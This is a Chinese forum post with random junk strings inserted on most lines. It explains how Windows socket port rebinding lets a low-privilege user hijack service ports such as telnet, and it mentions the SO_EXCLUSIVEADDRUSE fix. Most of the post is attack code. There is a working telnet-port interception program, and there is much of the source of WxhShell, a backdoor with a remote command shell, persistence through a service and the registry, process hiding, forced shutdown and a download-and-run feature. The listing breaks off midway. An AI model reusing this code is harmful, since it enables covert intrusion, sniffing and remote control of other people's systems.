社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15358阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y.73I83-j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U-k;kmaj  
|'J3"am'  
  saddr.sin_family = AF_INET; i3GvTg-X  
;'Y?wH[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -@73"w/  
cn#a/Hx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yO($KL +  
Z5U~g?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PY2`RZ/@  
fg9sZ%67]\  
  这意味着什么?意味着可以进行如下的攻击: 0N}5sF  
A1@-;/H3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -Rvxjy)[N  
.dfTv/n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3}+/\:q*  
X}!_p& WI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U!'lc} 5  
%MIu;u FR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  = MXF`k^}  
*K)v&}uw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;z?XT \C$  
\xdt|:8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p"JSYF 9]  
EW!$D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AVJk  
tL5Xfd?u  
  #include }/LYI  
  #include I*ej_cFQ^  
  #include }n.h)Oz  
  #include    4EpzCaEZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Za} |Ee  
  int main() m^=, RfUUd  
  { f 4 _\F/  
  WORD wVersionRequested; izKk@{Md  
  DWORD ret; 5A)w.i&V  
  WSADATA wsaData; GBQb({  
  BOOL val; `%=Jsi0.Nq  
  SOCKADDR_IN saddr; bXW)n<y  
  SOCKADDR_IN scaddr; J.&q[  
  int err; SUEw5qitB  
  SOCKET s; 7HJv4\K  
  SOCKET sc; </%H'V@  
  int caddsize; ? vlGr5#  
  HANDLE mt; 9t[278B6  
  DWORD tid;   WNx^Rg" >'  
  wVersionRequested = MAKEWORD( 2, 2 ); ZChY:I$<  
  err = WSAStartup( wVersionRequested, &wsaData ); e!8_3BE  
  if ( err != 0 ) { R*y[/Aw  
  printf("error!WSAStartup failed!\n"); BuYDw*.  
  return -1; W(8g3  
  } {aL$vgYT1  
  saddr.sin_family = AF_INET; :}-u`K*  
   NWg\{a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cjR.9bgn  
SQ!lgm1bA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]UI+6}r  
  saddr.sin_port = htons(23); t[maUy _A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >R: +ml  
  { +wSm6*j7=  
  printf("error!socket failed!\n"); iF0a  
  return -1; K8 Y/XEK  
  } 5 QeGx3'  
  val = TRUE; jysV%q 3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dmi;# WY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >SJ$41"E  
  { </Id';|v  
  printf("error!setsockopt failed!\n"); h=tu +pn  
  return -1; Fs|;>Up0  
  } YUb,5Y0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L,Nr,QC-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z|<oxF.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^;3rdBprm  
CJOl|"UyJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]aRD6F:L  
  { `|w#K28t"  
  ret=GetLastError(); +m.8*^  
  printf("error!bind failed!\n"); ) T1 oDk  
  return -1; *N r|G61  
  } >FHsZKJ  
  listen(s,2); -IS9uaT5  
  while(1) ."X~?Nk  
  { de6dLT>m  
  caddsize = sizeof(scaddr); 2P ?Iu&  
  //接受连接请求 >>cd3)b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bg h$P  
  if(sc!=INVALID_SOCKET) 0q>lW &J  
  { ;5k|gW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~K96y$ DTE  
  if(mt==NULL) )R@gnTe  
  { -],?kP  
  printf("Thread Creat Failed!\n"); cQ41NX@I  
  break; Uq.~3V+u  
  } 5r<(Z0  
  } j*u9+.   
  CloseHandle(mt); 0_ \ g  
  } h /QP=Zd  
  closesocket(s); ug,|'<G+  
  WSACleanup(); D:E_h  
  return 0; ?v8k& q^q  
  }   "V0:Lq  
  DWORD WINAPI ClientThread(LPVOID lpParam) zjS:;!8em  
  { cmU+VZ#pk  
  SOCKET ss = (SOCKET)lpParam; h3EDN:FQ  
  SOCKET sc; 1$VI\}  
  unsigned char buf[4096]; E@6r{uZ#  
  SOCKADDR_IN saddr; T:">,* |  
  long num; Iq]6]  
  DWORD val; Pu*HZW3l  
  DWORD ret; 8VmN? "5v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1!wEXH(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &i^NStqu  
  saddr.sin_family = AF_INET; yn[ZN-H~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b DS1'Ce  
  saddr.sin_port = htons(23); ^(JHRH~=h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .GN$H>')  
  { "EYj Y->  
  printf("error!socket failed!\n"); >Ron+ oe  
  return -1; V8$bPVps  
  } u2B W]T]  
  val = 100; ,M&0<k\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ti|++oC/&  
  { h&M RQno  
  ret = GetLastError(); w00\1'-Kz  
  return -1; F` 5/9?;|  
  } !#:$u=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  RhNaYO  
  { K('l H-3wS  
  ret = GetLastError(); 51opP8  
  return -1; d 4\E  
  } Pd "mb~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ynbpewaa  
  { P&3/nL$9N  
  printf("error!socket connect failed!\n"); _L'cyH.cn  
  closesocket(sc); j~S!!Z ]  
  closesocket(ss); KBRg95E~]l  
  return -1; ;3}EB cw)  
  } H L|s pl(c  
  while(1) ?  < O  
  { T5jG IIa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *tM7>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {&E Z>r-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^=Ct Aa2  
  num = recv(ss,buf,4096,0); $:E}Nj]{&  
  if(num>0) j$8|ym^OX  
  send(sc,buf,num,0); vZeYp  
  else if(num==0) $`5lvy^  
  break; I,<54? vS  
  num = recv(sc,buf,4096,0); t-m9n*\j1  
  if(num>0) #G  +  
  send(ss,buf,num,0); -Bo~"q  
  else if(num==0) hRa(<ZK  
  break; #f3;}1(  
  } KCh  
  closesocket(ss); Mev-M2A  
  closesocket(sc); zt[4_;2Y  
  return 0 ; +:]Aqyc\  
  } EPe]-C`  
NVc! g  
X ' #$e{  
========================================================== B.mbKntK)R  
aDl, K;GL  
下边附上一个代码,,WXhSHELL g{W6a2  
blfE9Oy  
========================================================== {p e7]P?  
HCx%_9xlm  
#include "stdafx.h" 'ztL3(|X6  
Vo 6y8@\  
#include <stdio.h> QI#*5zm  
#include <string.h> |pH* CCA  
#include <windows.h> { 0%TMiVf  
#include <winsock2.h> ~0F9x9V  
#include <winsvc.h> :#\B {)(  
#include <urlmon.h> (' Ko#3b  
`$V[;ld(mz  
#pragma comment (lib, "Ws2_32.lib") du'}+rC  
#pragma comment (lib, "urlmon.lib") CaYos;Pl  
MLt'YW^  
#define MAX_USER   100 // 最大客户端连接数 U+*oI*  
#define BUF_SOCK   200 // sock buffer Z6R: rq  
#define KEY_BUFF   255 // 输入 buffer N* ] i G~  
B)"#/@!bHH  
#define REBOOT     0   // 重启 6L8tz 8  
#define SHUTDOWN   1   // 关机 mS:j$$]u  
,_Qe}qFU  
#define DEF_PORT   5000 // 监听端口 XewXTd #x  
s("Cn/ZkS  
#define REG_LEN     16   // 注册表键长度 ;5D @kS^  
#define SVC_LEN     80   // NT服务名长度 i.&Kpw9;m  
XSp x''l  
// 从dll定义API O2q=gYX>\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ig02M_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =XMD+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hJ;f1dZ7}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \[[TlB>  
d=t}T6.|  
// wxhshell配置信息 x&R9${e%  
struct WSCFG { h0F0d^W.  
  int ws_port;         // 监听端口 P /c Q1  
  char ws_passstr[REG_LEN]; // 口令 Zk/' \(5  
  int ws_autoins;       // 安装标记, 1=yes 0=no '9-axIj70  
  char ws_regname[REG_LEN]; // 注册表键名 O&#S4]Y   
  char ws_svcname[REG_LEN]; // 服务名 `;5VH]V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "%oH@ =  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _K0izKTA.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HPtTv}l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Ju /[#VCJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k5 aa>6K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R=vbUA  
.DDg%z  
}; lL(p]!K'  
&G-#*OG  
// default Wxhshell configuration ;|>q zx  
struct WSCFG wscfg={DEF_PORT, 0i8[=  
    "xuhuanlingzhe", !,Xyl} #  
    1, | V.S.'  
    "Wxhshell", xb =8t!  
    "Wxhshell", 5JBB+g  
            "WxhShell Service", >JKnGeF  
    "Wrsky Windows CmdShell Service", xvwD3.1  
    "Please Input Your Password: ", ),cQUB  
  1, (s}Rj)V[^  
  "http://www.wrsky.com/wxhshell.exe", aF&r/j+}o  
  "Wxhshell.exe" SON ^CvMs{  
    }; ; x:k-s2-  
6R1wn&8  
// 消息定义模块 ny12U;'s,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sf  024  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eJU;*] xfH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .'t (-eT,  
char *msg_ws_ext="\n\rExit."; 2BoFyL*  
char *msg_ws_end="\n\rQuit."; bz, Da  
char *msg_ws_boot="\n\rReboot..."; O.@g/05C  
char *msg_ws_poff="\n\rShutdown..."; ,wtFs!8  
char *msg_ws_down="\n\rSave to "; 5^/,aI  
E4sn[DO  
char *msg_ws_err="\n\rErr!"; <|{L[  
char *msg_ws_ok="\n\rOK!"; "/ tUA\=j  
wGEWr2$  
char ExeFile[MAX_PATH]; CfPXn0I  
int nUser = 0; V";mWws+?#  
HANDLE handles[MAX_USER]; K#qoR/:  
int OsIsNt; &`9j)3^J.  
e >L5.~i  
SERVICE_STATUS       serviceStatus; z.eJEK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3R5K}ZBi%  
*j|/2+pq  
// 函数声明 iYk':iv}S  
int Install(void); 5;IT64&]  
int Uninstall(void); _PK}rr?"7O  
int DownloadFile(char *sURL, SOCKET wsh); $Y8>_6%+T  
int Boot(int flag); /xl4ohL$a  
void HideProc(void); .)LZ`Ge3F  
int GetOsVer(void); 9{_8cpm4  
int Wxhshell(SOCKET wsl); vuYO\u+ud  
void TalkWithClient(void *cs); }1QI"M*  
int CmdShell(SOCKET sock); fNmE,~  
int StartFromService(void); @ SU8\:(U  
int StartWxhshell(LPSTR lpCmdLine); X AQGG>  
PT3>E5`Nu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =WIE>*3[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WMW1B }Z3  
J'o DOn.M  
// 数据结构和表定义 (C,e6r Y  
SERVICE_TABLE_ENTRY DispatchTable[] = U(U@!G)  
{ &Fw[YGJayz  
{wscfg.ws_svcname, NTServiceMain}, `TUZZz  
{NULL, NULL} T>d\%*Q+B  
}; C">`' G2  
hHcJN  
// 自我安装 P+[QI U  
int Install(void) TqIAWbb&  
{ "gFxfWIA  
  char svExeFile[MAX_PATH]; iJFr4o/R  
  HKEY key; hT?6sWa  
  strcpy(svExeFile,ExeFile); a "R7JjH  
%1Yz'AiW[  
// 如果是win9x系统,修改注册表设为自启动 oFWt(r   
if(!OsIsNt) { +`ai1-vw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 59V#FWe-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OkLz^R?d  
  RegCloseKey(key); 3)}(M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9/#0?(K8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b)N[[sOt  
  RegCloseKey(key); :*^:T_U  
  return 0; .:rmA8U[  
    } b3}Q#Y\G  
  } k!T|)\nc+  
} q(,cYu  
else { !{;[xXK4M  
! 0^;;'  
// 如果是NT以上系统,安装为系统服务 fV 3r|Bp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3filAGR?  
if (schSCManager!=0) z<hFK+j,'^  
{ M&r2:Whk  
  SC_HANDLE schService = CreateService :pRF*^eU  
  ( m+?N7  
  schSCManager, ny)]GvxI  
  wscfg.ws_svcname, WE0}$P:  
  wscfg.ws_svcdisp, t#Th9G]1  
  SERVICE_ALL_ACCESS, te i`/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R~)ybf{  
  SERVICE_AUTO_START, nP<S6:s:  
  SERVICE_ERROR_NORMAL, ]Kv q |}=  
  svExeFile, k}GjD2m  
  NULL, Y,C=@t@_  
  NULL, Q $]YD pCM  
  NULL, /#f^n]v  
  NULL, {3LA%xO  
  NULL _pW_G1U  
  ); Av o|v>  
  if (schService!=0) E!zX)|Z<  
  { yMb|I~k  
  CloseServiceHandle(schService); e&0K;yU  
  CloseServiceHandle(schSCManager); ?OE#q$g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); um7o!yg,  
  strcat(svExeFile,wscfg.ws_svcname); Ry&q1j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )>\4ULR83  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !DPF7x(-{  
  RegCloseKey(key); 61} i5o  
  return 0; /t*YDWLg  
    } `z9J`r= I  
  } #;]2=@  
  CloseServiceHandle(schSCManager); .oEbEs  
} iRNLKi  
} `?"6l5d.]  
fxd0e;NAAh  
return 1; B8H75sz  
} k^%2_H  
>.e+S?o  
// 自我卸载 \7Qb229?  
int Uninstall(void) 'f+NW &   
{ )s)_XL  
  HKEY key; =LI:S|[4  
| f\D>Y%)  
if(!OsIsNt) { eZH~je{1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  x0A7O  
  RegDeleteValue(key,wscfg.ws_regname); /_)l|<k+V  
  RegCloseKey(key); IxOc':/jY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )1lu=gc  
  RegDeleteValue(key,wscfg.ws_regname); z C=a3  
  RegCloseKey(key); ^ q?1U?4  
  return 0; ^/toz).Q  
  } 8YX)0i'  
} 3-C\2  
} E =AVrv5T  
else { jZd}O C<  
n *<v]1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .po>qb6  
if (schSCManager!=0) o_f-GO  
{ e\F} q)_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G>w+#{(  
  if (schService!=0) o5!f#Y  
  { +Rwx% =  
  if(DeleteService(schService)!=0) { m|O1QM;T  
  CloseServiceHandle(schService); $i#?v  
  CloseServiceHandle(schSCManager); zXZir7NfM  
  return 0; U%>'"  
  } _Zc4=c,K  
  CloseServiceHandle(schService); O,s.D,S  
  } P|xG\3@Z  
  CloseServiceHandle(schSCManager); O)]v;9oER  
} Xgat-cy'DA  
} [&#/|zH'j:  
=sgdkAYwP  
return 1; 2'|8Q\,:4Z  
} QA?oJ_}y  
fDh] tua  
// 从指定url下载文件 .tnkT;T  
int DownloadFile(char *sURL, SOCKET wsh) I4t*?  
{ D#Kuo$  
  HRESULT hr; QR0(,e$Dl  
char seps[]= "/"; h/)_) r.x  
char *token; asVX82<  
char *file; hH>``gK  
char myURL[MAX_PATH]; iPj~I  
char myFILE[MAX_PATH]; ^YlI>_3s  
TQ ]dW  
strcpy(myURL,sURL); Z9K})47T  
  token=strtok(myURL,seps); gb" 4B%Hm  
  while(token!=NULL) Q.Aa{d9e  
  { Kz?#C  
    file=token; s{}]D{bc  
  token=strtok(NULL,seps); @Jn!0Y1_3  
  } [XR$F@o  
:TalW~r|  
GetCurrentDirectory(MAX_PATH,myFILE); UvJ; A  
strcat(myFILE, "\\"); h6v077qG  
strcat(myFILE, file); b5a.go  
  send(wsh,myFILE,strlen(myFILE),0); q7\Ovjs0  
send(wsh,"...",3,0); O_~7Glu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yh<WA>=  
  if(hr==S_OK) -_N)E ))G  
return 0; ;9a 6pz<  
else = QO g 6  
return 1; 5(m(xo6  
`yiC=$*[  
} kmPYx)o  
646JDX[o  
// 系统电源模块 g)"gw+ZFc  
int Boot(int flag) 6%Mt  
{ 12UD19!  
  HANDLE hToken; m Y,|J\w@  
  TOKEN_PRIVILEGES tkp; v,@F|c?_S  
?-)I+EAnE  
  if(OsIsNt) { Na{Y}0=^y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >ut" OL9J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }baR5v  
    tkp.PrivilegeCount = 1; L%"LlS g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C[sh,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6gL-OJNo  
if(flag==REBOOT) { T{v>-xBRy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w_tJ7pz8T  
  return 0; }<a^</s  
} dT"hNHaf  
else { zi@]83SS#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cVnJ^*Z  
  return 0; /]^#b  
} GL$De,V  
  } sgUud_r)4  
  else { !]yO^Ob.E  
if(flag==REBOOT) { KngTc(^_D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 942lSyix  
  return 0; =q7Z qP  
} j=RRfFg)  
else { o\b-_E5"?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2_^aw[-  
  return 0; w o bgu  
} MK #wut  
} V~G`kkNy  
hj%ye~|~  
return 1; 9;.(u'y|  
} D\dWt1n  
b;sVls  
// win9x进程隐藏模块 :KJ pk:<  
void HideProc(void) \NZIEu)5?  
{ bNs4 5hDP  
q[q?hQ/b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B%CTOi  
  if ( hKernel != NULL ) CAq/K?:8  
  { `.jzuX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b//B8^Eong  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x+8_4>,>Y7  
    FreeLibrary(hKernel); afBE{  
  } Ysq'2  
}o4N<%/+  
return; )L{ghy  
} ^D eERB  
R0ID2:i]F  
// 获取操作系统版本 58\&/lYW  
int GetOsVer(void) XR2~Q)@  
{ TxjYrzC  
  OSVERSIONINFO winfo; nRL. ppUI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wI]"U2L5  
  GetVersionEx(&winfo); ::Ke ^dp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b2aF 'y/  
  return 1; EVp,Q"V]  
  else wW>zgTG  
  return 0; xh7cVE[UM  
}  ]#7zk9  
}bY; q-  
// 客户端句柄模块 Tc8 un.  
int Wxhshell(SOCKET wsl)  N\:. M  
{ O5$/55PI  
  SOCKET wsh; &j(+/;A  
  struct sockaddr_in client; mxb(<9O  
  DWORD myID; g?-lk5  
|f~@8|MQP+  
  while(nUser<MAX_USER) .CL^BiD.D  
{ ee%fqVQ8P  
  int nSize=sizeof(client); ~gB>) ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5N%93{L  
  if(wsh==INVALID_SOCKET) return 1; hxCvk/7sT  
}|PY!O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /}Jj  
if(handles[nUser]==0) nF6q7  
  closesocket(wsh); nKW*Y}VO  
else f$NMM >z  
  nUser++; =t6z \WB  
  } [2"<W! p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T]2q?; N  
:'#TCDlOb  
  return 0; TXe$<4"  
} XsnF~)YW  
ylt`*|$  
// 关闭 socket /pF `8$  
void CloseIt(SOCKET wsh) :0s]U_h  
{ x|yEt O&  
closesocket(wsh); N<QXmgqx  
nUser--; c478P=g=5  
ExitThread(0); Yjx|9_|Xn  
} v) vkn/:  
&u#&@J  
// 客户端请求句柄 pdE3r$C  
void TalkWithClient(void *cs) ?LvCR_D:  
{ zZVfj:i8  
xg)v0y~  
  SOCKET wsh=(SOCKET)cs; E<yW\  
  char pwd[SVC_LEN]; p.LFVFPT  
  char cmd[KEY_BUFF]; v\p;SwI   
char chr[1]; \&H nKhI  
int i,j; *S/_i-ony  
2W4qBaG$=  
  while (nUser < MAX_USER) { JV;OGh>  
]T%rjsN  
if(wscfg.ws_passstr) { 6Cn+e.j@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _i/t?7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Dw]p! @  
  //ZeroMemory(pwd,KEY_BUFF); 6/rFHY2q  
      i=0; X7s `U5'l  
  while(i<SVC_LEN) { r#XT3qp$d  
@|\}.M<e*)  
  // 设置超时 =jN *P?  
  fd_set FdRead; iezO9`  
  struct timeval TimeOut; gG/!,Q.Qh  
  FD_ZERO(&FdRead); fMOU$0]$<  
  FD_SET(wsh,&FdRead); 9(@\&>)  
  TimeOut.tv_sec=8; =Q.^c.sw  
  TimeOut.tv_usec=0; *8LMn   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7}X[ 4("bB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3D2E?$dX  
nw-I|PVTNa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ]C) 4  
  pwd=chr[0]; ?mwD*LN3o  
  if(chr[0]==0xd || chr[0]==0xa) { 3`k;a1Z#O'  
  pwd=0; {~F4WjHJp  
  break; B[KJR?>  
  } aoXb22]{  
  i++; zzxGAVu  
    } ,lyb!k8  
}`@728E  
  // 如果是非法用户,关闭 socket E2m8UBS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h=:Q-?n-  
} VY3&  
M8tRjNWS?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;cQ6g` bM\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }2e? ?3  
-?0qf,W.  
while(1) { yxH ( c  
?Orxmxc 2  
  ZeroMemory(cmd,KEY_BUFF); ({q?d[q[  
6q{HU]N+  
      // 自动支持客户端 telnet标准   6Udov pl  
  j=0; 2o'Wy  
  while(j<KEY_BUFF) { Z:*76PP,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q#s,- uu  
  cmd[j]=chr[0]; !TUrQ  
  if(chr[0]==0xa || chr[0]==0xd) { ,gS;m &!'J  
  cmd[j]=0; m&?#;J|B$  
  break; +u3=dj"[  
  } h-%R<[  
  j++; v#!%GEg1r  
    } v61[.oS  
ia MUsa{  
  // 下载文件 Qc pm !  
  if(strstr(cmd,"http://")) { R;j!}D!4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e:5bzk!~  
  if(DownloadFile(cmd,wsh)) xftBSdVE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F F|FU<  
  else Pqn@ST  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O)jWZOVp >  
  } T7#W0^tj  
  else { 07[_.i.l  
o}$ EG  
    switch(cmd[0]) { 2* 2wY=  
  *" {lMZ +  
  // 帮助 C<P%CG&;  
  case '?': { 2Tagr1L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R.yC(r  
    break; i{`;R  
  } GgB,tam{p  
  // 安装 ?W)A   
  case 'i': { vMm1Z5S/  
    if(Install()) lGOgN!?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vb= Mg  
    else *#C+iAF|)'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lk( }-  
    break; [_}J F}6  
    } o<|P9#(U"  
  // 卸载 Y$?9Zkp>  
  case 'r': { Ym =FgM\  
    if(Uninstall()) 3yB!M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `a2n:F  
    else J{k79v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -$dXE+&   
    break; e=+?K5q{P(  
    } zc;|fHW~O  
  // 显示 wxhshell 所在路径 !K'}K>iT  
  case 'p': { o !vE~  
    char svExeFile[MAX_PATH]; 3G(miP6  
    strcpy(svExeFile,"\n\r"); %y@Hh=  
      strcat(svExeFile,ExeFile); p{j.KI s7  
        send(wsh,svExeFile,strlen(svExeFile),0); [m|YWT=  
    break; }Nf%n@  
    } H{=21\a\  
  // 重启 ~V\D|W9  
  case 'b': { mD^ jd+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w.?:SD  
    if(Boot(REBOOT)) `.i!NBA'6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .p e(lP  
    else { R wZ]),o  
    closesocket(wsh); .%L?J E  
    ExitThread(0); jbS\vyG  
    } .8by"?**  
    break; *tK\R&4,4s  
    } 5) pj]S!]-  
  // 关机 _t^{a]/H  
  case 'd': { `#;e)1  
